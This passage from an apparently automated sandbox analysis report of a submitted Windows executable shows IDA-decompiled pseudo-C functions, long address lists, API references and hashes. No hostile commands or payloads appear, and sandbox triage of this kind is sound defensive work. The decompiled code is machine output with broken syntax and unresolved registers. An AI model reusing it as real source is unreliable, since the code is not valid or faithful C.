																				__eax = ( *(__ebx - 1) & 0x7f) << __cl;
																				__ecx = __ecx + 7;
																				__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
																				__eflags = __dl;
																			} while (__dl < 0);
																			__ecx = __ebp;
																			__esi = __esi + __ebx;
																			__eax = __ebx;
																			__eflags = __cl - 0xff;
																			if(__cl != 0xff) {
																				L54:
																				__eax = __ebp;
																				__edx = _v64;
																				__ebp = __al & 0x000000ff;
																				__eax = __ebp;
																				__eax = E00438E40(__ebp, __ecx, _v64);
																				__edx =  &_v32;
																				__ecx = __ebx;
																				 *__esp =  &_v32;
																				__edx = __eax;
																				__eax = __ebp;
																				__eax = E00438D00(__ebp, __ebx, __edx);
																				__edx = _v32;
																				__ecx = _v64;
																				 *(_v64 + 0x50) = _v32;
																			}
																			__eflags = __esi;
																			__ebx = __eax;
																		}
																		L50:
																		__ecx = _v60;
																		__eax =  *__ecx;
																		 *__esp = __edi;
																		__edx =  *__ecx + 4 + __ecx;
																		__ecx = _v64;
																		__ebx = E00438E80(__ebx, _v64, __edx);
																		__eax = 0;
																		__eflags = 0;
																		L51:
																		__esp =  &(__esp[0x13]);
																		return __eax;
																	}
																}
															}
														}
													}
												} else {
													L69:
													__esp =  &(__esp[0x13]);
													__eax = 3;
													return 3;
												}
											} else {
												 *((char*)(__edi + 0xbb)) = 1;
												goto L29;
											}
										}
									}
								} else {
									__eax =  *__ebp & 0x000000ff;
									__ebp =  &_a1;
									 *(__edi + 0xb9) = __al;
									L29:
									__eax =  *__esi & 0x000000ff;
									__esi = __esi + 1;
									__eflags = __esi;
									continue;
								}
								goto L235;
							}
							__ebx = __ebp;
							__ebp = _v56;
							__eflags = __ebp;
							if(__ebp == 0) {
								__ebp = __ebx;
								goto L68;
							} else {
								goto L39;
							}
						}
					}
				}
				L235:
			}

0x004396e7
0x004396eb
0x004396f2
0x004396f2
0x004396f2
0x004396f4
0x004396fb
0x00439707
0x00439a6b
0x00439a77
0x0043970d
0x0043970d
0x00439710
0x00439712
0x00439716
0x0043971a
0x0043971d
0x00439721
0x00439728
0x0043972b
0x00439730
0x00439732
0x00439736
0x0043973a
0x00439a32
0x00439a35
0x00439a38
0x00439a3c
0x00439a3c
0x00439a40
0x00439c90
0x00439c94
0x00000000
0x00439c9a
0x00439c9a
0x00439c9d
0x00000000
0x00439ca3
0x00439ca3
0x00439ca7
0x00000000
0x00000000
0x00000000
0x00000000
0x00439ca7
0x00439c9d
0x00439a46
0x00439a46
0x00439a46
0x00439a48
0x00439cc0
0x00439cc4
0x00439cc7
0x00439cf2
0x00439cf4
0x00000000
0x00439cf6
0x00439cad
0x00439cad
0x00439caf
0x00000000
0x00439caf
0x00439cc9
0x00439cc9
0x00439cc9
0x00439ccb
0x00000000
0x00439cd1
0x00439cd1
0x00439cd5
0x00439cda
0x00439ce0
0x00439ce4
0x00439cea
0x00000000
0x00439cea
0x00439ce4
0x00000000
0x00439cda
0x00439ccb
0x00439a4e
0x00439a4e
0x00439a50
0x00439b20
0x00439b24
0x00000000
0x00439b2a
0x00439b2a
0x00439b2d
0x00000000
0x00439b33
0x00439b33
0x00439b37
0x00000000
0x00439b3d
0x00439b3d
0x00439b40
0x00439b40
0x00439b40
0x00439b46
0x00439b4d
0x00439b57
0x00439b59
0x00439b60
0x00439b62
0x00439b62
0x00439b68
0x00439b72
0x00439b74
0x00439b7a
0x00439b7c
0x00439b82
0x00439b84
0x00439b8b
0x00439b8e
0x00439b94
0x00439b96
0x00439b9d
0x00439ba0
0x00439ba6
0x00439ba8
0x00439baf
0x00439bb2
0x00439bb8
0x00439bba
0x00439bc1
0x00439bc4
0x00439bca
0x00439bcc
0x00439bd3
0x00439bd6
0x00439bd6
0x00439bdc
0x00439be1
0x00439be3
0x00439be5
0x00439bec
0x00439bef
0x00439bf1
0x00439bf4
0x00439bfe
0x00000000
0x00439bfe
0x00439b37
0x00439b2d
0x00439a56
0x00439a56
0x00439a56
0x00439a5a
0x00000000
0x00439a5c
0x00439a5c
0x00439a5f
0x00000000
0x00439a61
0x00439a61
0x00439a65
0x00439c10
0x00439c14
0x00000000
0x00439c1a
0x00439c1a
0x00439c1e
0x00000000
0x00439c24
0x00439c24
0x00439c28
0x00000000
0x00439c2e
0x00439c2e
0x00439c32
0x00000000
0x00439c38
0x00439c38
0x00439c42
0x00439c44
0x00439c4e
0x00439c58
0x00439c5f
0x00439c66
0x00439c70
0x00439c77
0x00439c7e
0x00000000
0x00439c7e
0x00439c32
0x00439c28
0x00439c1e
0x00000000
0x00000000
0x00000000
0x00439a65
0x00439a5f
0x00439a5a
0x00439a50
0x00439a48
0x00439740
0x00439740
0x00439743
0x00439747
0x0043974d
0x00439750
0x00439753
0x00439753
0x00439756
0x00439758
0x0043975c
0x0043975f
0x00439763
0x00439768
0x0043976c
0x0043976c
0x00439770
0x00439890
0x00439894
0x00439898
0x0043989e
0x004398a0
0x004398a3
0x004398a6
0x004398aa
0x004398aa
0x00439898
0x00439776
0x0043977a
0x0043977d
0x00439781
0x00439785
0x00439788
0x00439b00
0x00439b03
0x00000000
0x00439b05
0x00439b05
0x00439b09
0x00000000
0x00439b0b
0x00439b0b
0x00439b0f
0x00000000
0x00439b0f
0x00439b09
0x0043978e
0x0043978e
0x0043978e
0x00439790
0x00439797
0x00439797
0x00439799
0x0043979f
0x004397a1
0x004397a4
0x004397a6
0x004397a8
0x00000000
0x00000000
0x00439794
0x00439794
0x004397aa
0x004397b0
0x004397b2
0x004397c2
0x004397c2
0x004397c2
0x004397c5
0x004397cb
0x004397ce
0x004397d0
0x004397d3
0x004397d5
0x004397d7
0x00000000
0x00000000
0x004397c0
0x004397c0
0x004397d9
0x004397db
0x004397dd
0x004397df
0x004397e2
0x004397e4
0x004397e4
0x004397e7
0x004397ee
0x004397f0
0x004397f0
0x004397f0
0x004397e7
0x004397f2
0x004397f4
0x004397f6
0x004397fb
0x00439801
0x00439803
0x004398b5
0x004398b8
0x004398b8
0x004398bb
0x00439810
0x00439810
0x00439810
0x00439813
0x00439819
0x0043981c
0x0043981e
0x00439821
0x00439823
0x00439823
0x00439827
0x00439827
0x0043982d
0x00439831
0x00439838
0x0043983a
0x0043983d
0x0043983f
0x00439a80
0x00439a82
0x00439a82
0x00439a84
0x00439a84
0x00439a87
0x00439a8d
0x00439a90
0x00439a92
0x00439a95
0x00439a97
0x00439a97
0x00439a9b
0x00439a9e
0x00439aa2
0x00439aa9
0x00439aac
0x00439ab0
0x00439ab0
0x00439845
0x00439849
0x0043984d
0x0043984f
0x00439875
0x00439875
0x00439877
0x00000000
0x00000000
0x0043987d
0x0043987f
0x00439854
0x00439856
0x004398d0
0x004398d4
0x004398d7
0x00000000
0x00439858
0x00439858
0x0043985a
0x004398e0
0x004398e4
0x004398e8
0x004398ea
0x004398ef
0x004398f3
0x004398f3
0x004398f6
0x004398f9
0x004398fb
0x00439902
0x00439904
0x00439908
0x00000000
0x00439860
0x00439860
0x00439862
0x00439ac0
0x00439ac4
0x00439ac4
0x00439ac6
0x00439921
0x00439921
0x00439925
0x00439929
0x0043992b
0x0043992e
0x00439934
0x00439939
0x00439940
0x00439942
0x00439af0
0x00000000
0x00439948
0x00439948
0x0043994b
0x0043994d
0x00439ae4
0x00000000
0x00439953
0x00439953
0x00439a20
0x00439a22
0x00000000
0x00000000
0x00000000
0x00000000
0x00439959
0x00439959
0x0043995b
0x00439a28
0x00439a28
0x00000000
0x00439961
0x00439961
0x00439963
0x00439cf8
0x00439cf8
0x00439d00
0x00439d01
0x00439d02
0x00439d03
0x00439d05
0x00439d06
0x00439d0c
0x00439d13
0x00439d17
0x00439d1b
0x00439d1f
0x00439d21
0x00439d8a
0x00439d8a
0x00439d94
0x00439d23
0x00439d23
0x00439d30
0x00439d30
0x00439d33
0x00439d33
0x00439d36
0x00439d39
0x00439d3b
0x00439d3e
0x0043a1f9
0x0043a1f9
0x00000000
0x00439d44
0x00439d44
0x00439d47
0x00000000
0x00439d50
0x00439d54
0x00439d57
0x00439d57
0x00000000
0x00000000
0x00000000
0x00000000
0x00439de0
0x00439de4
0x00439de6
0x00000000
0x00439dec
0x00439dec
0x00439dee
0x00439df1
0x00439df5
0x00439df8
0x0043a299
0x0043a29b
0x00439dfe
0x00439dfe
0x0043a200
0x0043a200
0x0043a203
0x0043a210
0x0043a213
0x00000000
0x0043a215
0x0043a215
0x0043a217
0x0043a219
0x0043a21c
0x0043a21e
0x0043a21e
0x0043a205
0x0043a205
0x0043a207
0x0043a207
0x00439e04
0x00439e04
0x00439e07
0x0043a230
0x0043a232
0x0043a232
0x0043a234
0x0043a234
0x0043a237
0x0043a23d
0x0043a240
0x0043a242
0x0043a245
0x0043a247
0x0043a247
0x0043a24b
0x0043a24d
0x00439e0d
0x00439e0d
0x00439e10
0x0043a1f0
0x0043a1f3
0x0043a290
0x0043a292
0x00000000
0x00000000
0x00000000
0x00439e16
0x00439e16
0x00439e1a
0x00439e1d
0x00439e1f
0x0043a371
0x0043a374
0x00439e25
0x00439e25
0x0043a274
0x0043a276
0x00000000
0x0043a27c
0x0043a27c
0x0043a27f
0x0043a27f
0x00439e2b
0x00439e2b
0x00439e2d
0x00439e37
0x00439e37
0x00439e39
0x00439e2f
0x00439e2f
0x00439e31
0x00000000
0x00000000
0x00000000
0x00000000
0x00439e31
0x00439e2d
0x00439e25
0x00439e1f
0x00439e10
0x00439e07
0x00439dfe
0x00000000
0x00439df8
0x00000000
0x00000000
0x00439dd0
0x00439dd4
0x00439dd8
0x00000000
0x00000000
0x00439dc0
0x00439dc4
0x00439dc8
0x00000000
0x00000000
0x00439db2
0x00439db6
0x00439dba
0x00000000
0x00000000
0x00439da5
0x00439da9
0x00439dad
0x00000000
0x00000000
0x00439d95
0x00439d98
0x00439d9c
0x00000000
0x00000000
0x0043a053
0x0043a055
0x0043a057
0x0043a057
0x0043a060
0x0043a060
0x0043a063
0x0043a069
0x0043a06c
0x0043a06e
0x0043a071
0x0043a073
0x0043a073
0x0043a077
0x00000000
0x00000000
0x0043a010
0x0043a012
0x0043a012
0x0043a014
0x0043a014
0x0043a017
0x0043a01d
0x0043a020
0x0043a022
0x0043a025
0x0043a027
0x0043a027
0x0043a02b
0x0043a02e
0x00000000
0x0043a034
0x0043a034
0x0043a034
0x0043a037
0x00000000
0x0043a03d
0x0043a03d
0x0043a042
0x0043a046
0x0043a04a
0x0043a04c
0x0043a04c
0x0043a037
0x00000000
0x00000000
0x00439ff0
0x00439ff4
0x00439ff6
0x00000000
0x00439ffc
0x00439ffc
0x0043a000
0x00000000
0x0043a000
0x00000000
0x00000000
0x00439fd0
0x00439fd4
0x00439fd6
0x00000000
0x00439fdc
0x00439fdc
0x00439fdf
0x00439fe1
0x00000000
0x00439fe1
0x00000000
0x00000000
0x00439fb3
0x00439fb7
0x00439fba
0x00000000
0x00439fc0
0x00439fc0
0x00439fc4
0x00000000
0x00439fc4
0x00000000
0x00000000
0x00439f90
0x00439f94
0x00439f98
0x00439f9b
0x00439f9e
0x00439fa0
0x00000000
0x00439fa6
0x00439fa6
0x00439fa8
0x00439faa
0x00000000
0x00439faa
0x00000000
0x00000000
0x0043a185
0x0043a189
0x0043a18c
0x00000000
0x0043a192
0x0043a192
0x0043a195
0x0043a198
0x0043a19c
0x0043a1a0
0x0043a1a4
0x0043a1a6
0x00000000
0x0043a1a6
0x00000000
0x00000000
0x0043a150
0x0043a154
0x0043a157
0x00000000
0x0043a15d
0x0043a15d
0x0043a160
0x0043a163
0x0043a166
0x0043a16a
0x0043a16e
0x0043a172
0x0043a176
0x0043a17a
0x0043a17e
0x00000000
0x0043a17e
0x00000000
0x00000000
0x0043a1b0
0x0043a1b4
0x0043a1b7
0x00000000
0x0043a1bd
0x0043a1bd
0x0043a1c0
0x0043a1c3
0x0043a1c7
0x0043a1cb
0x0043a1ce
0x00000000
0x0043a1d0
0x0043a1d0
0x0043a1d3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043a1d3
0x00000000
0x0043a1ce
0x00000000
0x00000000
0x0043a100
0x0043a104
0x0043a106
0x00000000
0x0043a10c
0x0043a10c
0x0043a10f
0x0043a111
0x0043a115
0x0043a118
0x0043a11c
0x0043a11e
0x0043a225
0x0043a124
0x0043a124
0x0043a128
0x0043a128
0x00000000
0x0043a11e
0x00000000
0x00000000
0x0043a140
0x0043a144
0x00000000
0x00000000
0x0043a130
0x0043a133
0x0043a137
0x00000000
0x00000000
0x00439f50
0x00439f53
0x00439f56
0x00000000
0x00439f5c
0x00439f5c
0x00439f60
0x00439f67
0x00439f6a
0x00439f6e
0x00439f7b
0x00439f7b
0x00439f7e
0x00000000
0x00439f84
0x00000000
0x00439f84
0x00439f70
0x00439f70
0x00439f75
0x00000000
0x00000000
0x00000000
0x00000000
0x00439f75
0x00439f6e
0x00000000
0x00000000
0x00439ed0
0x00439ed2
0x00439ed2
0x00439ed4
0x00439ee0
0x00439ee0
0x00439ee3
0x00439ee9
0x00439eec
0x00439eee
0x00439ef1
0x00439ef3
0x00439ef3
0x00439ef7
0x00439ef9
0x00439efb
0x00439efd
0x00439f00
0x00439f02
0x00439f02
0x00439f05
0x0043a269
0x0043a26b
0x0043a26d
0x0043a26d
0x00439f05
0x00439f0b
0x00439f0e
0x00439f11
0x00000000
0x00439f17
0x00439f17
0x00439f1b
0x00439f22
0x00439f25
0x00439f29
0x00439f32
0x00439f32
0x00439f35
0x00000000
0x00439f3b
0x00439f3b
0x00000000
0x00439f3b
0x00439f2b
0x00439f2b
0x00439f30
0x00439f3d
0x00439f3d
0x00439f3f
0x00439f41
0x00000000
0x00000000
0x00000000
0x00000000
0x00439f30
0x00439f29
0x00000000
0x00000000
0x00439e71
0x00439e73
0x00439e73
0x00439e75
0x00439e75
0x00439e78
0x00439e7e
0x00439e81
0x00439e83
0x00439e86
0x00439e88
0x00439e88
0x00439e8c
0x00439e8f
0x00000000
0x00439e95
0x00439e95
0x00439e99
0x00439ea0
0x00439ea3
0x00439ea7
0x00439eb4
0x00439eb4
0x00439eb6
0x00000000
0x00439ebc
0x00439ebc
0x00439ebc
0x00439ebe
0x00439ec2
0x00000000
0x00439ec2
0x00439ea9
0x00439ea9
0x00439eae
0x0043a1e0
0x0043a1e0
0x0043a1e4
0x00000000
0x00000000
0x00000000
0x00000000
0x00439eae
0x00439ea7
0x00000000
0x00000000
0x0043a080
0x0043a082
0x0043a082
0x0043a084
0x0043a084
0x0043a087
0x0043a08d
0x0043a090
0x0043a092
0x0043a095
0x0043a097
0x0043a097
0x0043a09b
0x0043a09d
0x0043a09d
0x0043a0a0
0x0043a0a0
0x0043a0a3
0x0043a0a9
0x0043a0ac
0x0043a0ae
0x0043a0b1
0x0043a0b3
0x0043a0b3
0x0043a0b7
0x0043a0ba
0x0043a0bc
0x0043a0be
0x0043a259
0x0043a25b
0x0043a25d
0x0043a25d
0x0043a0be
0x0043a0c4
0x0043a0c7
0x00000000
0x0043a0cd
0x0043a0cd
0x0043a0d1
0x0043a0d8
0x0043a0db
0x0043a0df
0x0043a0e8
0x0043a0e8
0x0043a0eb
0x00000000
0x0043a0f1
0x0043a0f1
0x00000000
0x0043a0f1
0x0043a0e1
0x0043a0e1
0x0043a0e6
0x0043a0f3
0x0043a0f3
0x0043a0f5
0x0043a0f9
0x00000000
0x00000000
0x00000000
0x00000000
0x0043a0e6
0x0043a0df
0x00000000
0x00000000
0x00439da1
0x00000000
0x00000000
0x00439e40
0x00439e44
0x00439e48
0x00439e4c
0x00439e4e
0x00439e53
0x00439e56
0x00439e59
0x00439e5b
0x00439e5d
0x00439e62
0x00439e66
0x00439e6a
0x00000000
0x00000000
0x0043a2a2
0x0043a2a2
0x0043a2a4
0x00000000
0x00000000
0x0043a2ab
0x0043a2ab
0x0043a2ad
0x0043a2af
0x0043a2b0
0x0043a2b0
0x0043a2b0
0x0043a2b2
0x00000000
0x00000000
0x0043a2b9
0x0043a2b9
0x0043a2bb
0x00000000
0x00000000
0x0043a2c2
0x0043a2c2
0x0043a2c4
0x0043a2c6
0x0043a2c8
0x0043a2c8
0x0043a2c8
0x0043a2ca
0x00000000
0x00000000
0x0043a2d1
0x0043a2d1
0x0043a2d4
0x00000000
0x00000000
0x0043a2db
0x0043a2db
0x0043a2dd
0x00000000
0x00000000
0x0043a2e4
0x0043a2e4
0x0043a2e6
0x00000000
0x00000000
0x0043a2ed
0x0043a2ed
0x0043a2ef
0x00000000
0x00000000
0x0043a2f6
0x0043a2f6
0x0043a2f8
0x00000000
0x00000000
0x0043a2ff
0x0043a2ff
0x0043a301
0x00000000
0x00000000
0x0043a308
0x0043a308
0x0043a30a
0x00000000
0x00000000
0x0043a311
0x0043a311
0x0043a313
0x0043a315
0x0043a317
0x0043a31a
0x00000000
0x00000000
0x0043a321
0x0043a321
0x0043a323
0x0043a325
0x0043a327
0x0043a32a
0x00000000
0x00000000
0x0043a331
0x0043a331
0x0043a333
0x0043a335
0x0043a337
0x0043a33a
0x00000000
0x00000000
0x0043a341
0x0043a341
0x0043a343
0x0043a345
0x0043a347
0x0043a34a
0x00000000
0x00000000
0x0043a351
0x0043a351
0x0043a353
0x0043a355
0x0043a357
0x0043a35a
0x00000000
0x00000000
0x0043a361
0x0043a361
0x0043a363
0x0043a365
0x0043a367
0x0043a36a
0x00439d60
0x00439d60
0x00439d63
0x004c5e66
0x004c5e66
0x004c5e6b
0x004c5e70
0x004c5e75
0x004c5e7a
0x004c5e7f
0x004c5e84
0x004c5e89
0x004c5e8e
0x004c5e93
0x004c5e98
0x004c5ea0
0x004c5ea5
0x004c5eaa
0x004014e0
0x004014e3
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00439d69
0x00439d69
0x00439d6c
0x00439d70
0x00000000
0x00439d70
0x00000000
0x00000000
0x00439d47
0x00000000
0x00439d74
0x00439d74
0x00439d74
0x00439d7a
0x00439d7e
0x00439d80
0x00000000
0x00439d86
0x00439d86
0x00000000
0x00439d86
0x00439d80
0x00439969
0x00439969
0x0043996e
0x0043996e
0x00439972
0x00439979
0x00439980
0x004399e0
0x004399e2
0x004399e4
0x00000000
0x004399e6
0x004399e6
0x004399e6
0x00000000
0x004399e6
0x00000000
0x00439982
0x00439982
0x00439984
0x00439984
0x00439990
0x00439990
0x00439993
0x00439999
0x0043999c
0x0043999e
0x004399a1
0x004399a3
0x004399a3
0x004399a7
0x004399a9
0x004399ab
0x004399ad
0x004399b0
0x004399e8
0x004399e8
0x004399ea
0x004399ee
0x004399f1
0x004399f3
0x004399f8
0x004399fc
0x004399fe
0x00439a01
0x00439a03
0x00439a05
0x00439a0a
0x00439a0e
0x00439a12
0x00439a12
0x004399b2
0x004399b7
0x004399b7
0x004399b9
0x004399b9
0x004399bd
0x004399bf
0x004399c2
0x004399c6
0x004399cc
0x004399d1
0x004399d1
0x004399d3
0x004399d3
0x004399da
0x004399da
0x00439963
0x0043995b
0x00439953
0x0043994d
0x00439acc
0x00439acc
0x00439acc
0x00439acf
0x00439ad8
0x00439ad8
0x00439868
0x00439868
0x00000000
0x00439868
0x00439862
0x0043985a
0x00439881
0x00439881
0x00439885
0x00439888
0x0043986f
0x0043986f
0x00439872
0x00439872
0x00000000
0x00439872
0x00000000
0x0043987f
0x00439913
0x00439915
0x00439919
0x0043991b
0x00439ae0
0x00000000
0x00000000
0x00000000
0x00000000
0x0043991b
0x00439788
0x0043973a
0x00000000

APIs

Part of subcall function 0043C820: ReleaseSemaphore.KERNEL32 ref: 0043C972

strlen.MSVCRT ref: 00439763

Strings

L;L, xrefs: 004396E9

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: ReleaseSemaphorestrlen
String ID: L;L
API String ID: 2286909222-3306770229
Opcode ID: 33f4baa51b00361734733cbfa37e25bd3ca04923a2b8fdf928b17747c290a4d7
Instruction ID: 9e71e0d15c7d6b9a789703a8687956ee4ce2489e1f712d236b677da75e13e635
Opcode Fuzzy Hash: 33f4baa51b00361734733cbfa37e25bd3ca04923a2b8fdf928b17747c290a4d7
Instruction Fuzzy Hash: 35F1B3B16087919FD714DF28C444366FBE1BF49314F08936ED8994B382D3B9AD49CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0045ED30 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 834
COMMONCrypto

Download Yara Rule

C-Code - Quality: 41%

			E0045ED30(void* __eflags, signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16, signed int _a20, signed int* _a24, intOrPtr _a28) {
				void* _v16;
				void _v44;
				signed int _v48;
				signed int _v52;
				void _v68;
				signed int _v72;
				signed int _v76;
				signed char _v77;
				char _v78;
				char _v80;
				char _v81;
				intOrPtr _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed char _v109;
				char _v110;
				signed char _v111;
				signed int _v116;
				intOrPtr _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int* _v156;
				char _v160;
				void* _v164;
				void* _v168;
				void* _v172;
				void* __ebx;
				signed int __edi;
				signed int __esi;
				void* __ebp;
				signed char _t425;
				intOrPtr* _t431;
				signed int _t444;
				signed int* _t448;
				signed int _t450;
				signed char _t451;
				signed int* _t452;
				signed int _t462;
				signed int* _t463;
				signed int _t466;
				signed int _t470;
				signed int _t471;
				signed int _t473;
				signed int _t474;
				signed int _t476;
				signed char* _t477;
				void* _t484;
				intOrPtr _t504;
				char _t505;
				signed int* _t514;
				signed int* _t515;
				signed int _t522;
				intOrPtr* _t523;
				intOrPtr* _t524;
				signed int _t530;
				signed int _t532;
				signed int _t537;
				intOrPtr* _t542;
				signed int _t544;
				signed int _t546;
				void* _t547;
				void* _t548;
				void* _t550;

				_t425 = _a20 + 0x6c;
				_v156 = _t425;
				_v100 = _t425;
				_v128 = E004C0920(__eflags);
				_t537 = E004522B0(0x52972c);
				_t542 =  *((intOrPtr*)( *(_a20 + 0x6c) + 0xc)) + _t537 * 4;
				_t504 =  *_t542;
				if(_t504 == 0) {
					_t431 = E004C3430(0x44);
					_t505 = _t431;
					 *_t431 = 0x53e664;
					 *(_t431 + 4) = 0;
					 *(_t431 + 8) = 0;
					 *(_t431 + 0xc) = 0;
					 *((short*)(_t505 + 0x10)) = 0;
					 *((char*)(_t505 + 0x12)) = 0;
					 *(_t505 + 0x14) = 0;
					 *(_t505 + 0x18) = 0;
					 *(_t505 + 0x1c) = 0;
					 *(_t505 + 0x20) = 0;
					 *(_t505 + 0x24) = 0;
					 *(_t505 + 0x28) = 0;
					 *(_t505 + 0x2c) = 0;
					 *(_t505 + 0x30) = 0;
					 *(_t505 + 0x34) = 0;
					 *((char*)(_t505 + 0x43)) = 0;
					_v156 = _v100;
					E004AA8D0(_t505, __eflags);
					_v160 = _t505;
					_v156 = _t537;
					E004AD8F0( *(_a20 + 0x6c));
					_t504 =  *_t542;
					_t548 = _t548 - 0xfffffffffffffffc;
				}
				_v120 = _t504 + 0x38;
				if( *((intOrPtr*)(_t504 + 0x20)) != 0) {
					_t529 =  *(_t504 + 0x28);
					__eflags = _t529;
					_v111 = _t529 != 0;
				} else {
					_v111 = 0;
				}
				_v72 = 0;
				_v76 =  &_v68;
				_v68 = 0;
				if( *((char*)(_t504 + 0x10)) != 0) {
					_v156 = 0x20;
					E004B2380( &_v76);
					_t548 = _t548 - 4;
				}
				_v156 = 0x20;
				_v52 =  &_v44;
				_v48 = 0;
				_v44 = 0;
				E004B2380( &_v52);
				_v116 = 1;
				_t550 = _t548 - 4;
				_v104 = _t504 + 0x39;
				_v109 = 0;
				_v80 =  *((intOrPtr*)(_t504 + 0x34));
				_t444 =  &_v81 + _v116;
				_v100 = 0;
				_v136 = 0;
				_v124 = 0;
				_v110 = 0;
				if( *_t444 > 4) {
					L111:
					_t537 = 0;
					_t543 = 1;
					L108:
					__eflags = _v116 - 3;
					if(_v116 > 3) {
						L9:
						if(((_t444 & 0xffffff00 | _v124 - 0x00000001 > 0x00000000) & _t543) == 0) {
							__eflags = _t543;
							if(_t543 == 0) {
								goto L96;
							}
							__eflags = _v48 - 1;
							if(_v48 <= 1) {
								goto L151;
							}
							goto L168;
						} else {
							if(_v110 != 0) {
								_t537 =  *(_t504 + 0x24);
							} else {
								_t537 =  *(_t504 + 0x1c);
							}
							_t470 = _a8;
							_t522 = _a4;
							_v104 = 1;
							while(1) {
								_t471 = _t470 & 0xffffff00 | _t470 == 0xffffffff;
								_t544 = _t471;
								_t532 = _t544;
								_t473 = (_t471 & 0xffffff00 | _t522 != 0x00000000) & _t532;
								_v108 = _t473;
								if(_t473 != 0) {
									_t544 = 0;
									_t473 =  *(_t522 + 0xc);
									__eflags =  *(_t522 + 8) - _t473;
									if( *(_t522 + 8) >= _t473) {
										_t473 =  *((intOrPtr*)( *_t522 + 0x24))();
										__eflags = _t473 - 0xffffffff;
										if(_t473 == 0xffffffff) {
											_a4 = 0;
											_t544 = _v108 & 0x000000ff;
										}
									}
								}
								_t523 = _a12;
								_t474 = _t473 & 0xffffff00 | _a16 == 0xffffffff;
								if(_t523 == 0 || _t474 == 0) {
									_t544 = _t544 ^ _t474;
								} else {
									goto L116;
								}
								L17:
								_t529 = _v124;
								if(_v104 >= _v124 || _t544 == 0) {
									_t543 = _v124;
									__eflags = _v104 - _v124;
									if(_v104 != _v124) {
										goto L96;
									}
									__eflags = _v48 - 1;
									if(_v48 > 1) {
										L168:
										 *(_t550 + 4) = 0;
										_v156 = 0x30;
										_t466 = E004552A0( &_v52);
										_t550 = _t550 - 8;
										__eflags = _t466;
										if(_t466 == 0) {
											goto L151;
										}
										_t529 = _v48;
										__eflags = _t466 - 0xffffffff;
										if(_t466 == 0xffffffff) {
											_t422 = _t529 - 1; // 0x0
											_t466 = _t422;
											__eflags = _t466 - 0xffffffff;
											if(_t466 == 0xffffffff) {
												 *_v52 = 0;
												goto L151;
											}
											__eflags = _t466;
											if(_t466 == 0) {
												goto L151;
											}
										}
										__eflags = _t466 - _t529;
										_v156 = 0;
										_t468 =  >  ? _t529 : _t466;
										 *(_t550 + 4) =  >  ? _t529 : _t466;
										E004B2480( &_v52);
										_t550 = _t550 - 8;
									}
									L151:
									__eflags = _v110;
									if(_v110 != 0) {
										__eflags =  *_v52 - 0x30;
										if( *_v52 != 0x30) {
											 *((intOrPtr*)(_t550 + 0xc)) = 0x2d;
											 *(_t550 + 8) = 1;
											 *(_t550 + 4) = 0;
											_v156 = 0;
											E004B0DA0(_t504,  &_v52, _t537, _t543, _t547);
											_t550 = _t550 - 0x10;
										}
									}
									__eflags = _v72;
									if(_v72 != 0) {
										_t529 = _v136;
										__eflags = _v109;
										_t457 =  !=  ? _v136 : _v100;
										_v156 =  !=  ? _v136 : _v100;
										E004B2860( &_v76);
										_t550 = _t550 - 4;
										 *(_t550 + 8) =  &_v76;
										_v156 =  *((intOrPtr*)(_t504 + 0xc));
										_v160 =  *((intOrPtr*)(_t504 + 8));
										_t462 = E004BE6E0();
										__eflags = _t462;
										if(_t462 == 0) {
											_t463 = _a24;
											 *_t463 =  *_t463 | 0x00000004;
											__eflags =  *_t463;
										}
									}
									__eflags = _v109;
									if(_v109 == 0) {
										L159:
										_v156 =  &_v52;
										E004B0F40(_a28);
										_t550 = _t550 - 4;
										goto L97;
									} else {
										__eflags =  *((intOrPtr*)(_t504 + 0x2c)) - _v100;
										if( *((intOrPtr*)(_t504 + 0x2c)) != _v100) {
											goto L96;
										}
										goto L159;
									}
								} else {
									_t524 = _a4;
									_t476 = _a8;
									if(_t524 == 0 || _t476 != 0xffffffff) {
										L21:
										if( *((intOrPtr*)(_t537 + _v104)) != _t476) {
											goto L96;
										}
										_t522 = _a4;
										_t477 =  *(_t522 + 8);
										if(_t477 >=  *(_t522 + 0xc)) {
											 *((intOrPtr*)( *_t522 + 0x28))();
											_t522 = _a4;
											goto L24;
										}
										goto L23;
									} else {
										_t477 =  *(_t524 + 8);
										__eflags = _t477 -  *((intOrPtr*)(_t524 + 0xc));
										if(_t477 >=  *((intOrPtr*)(_t524 + 0xc))) {
											_t476 =  *((intOrPtr*)( *_t524 + 0x24))();
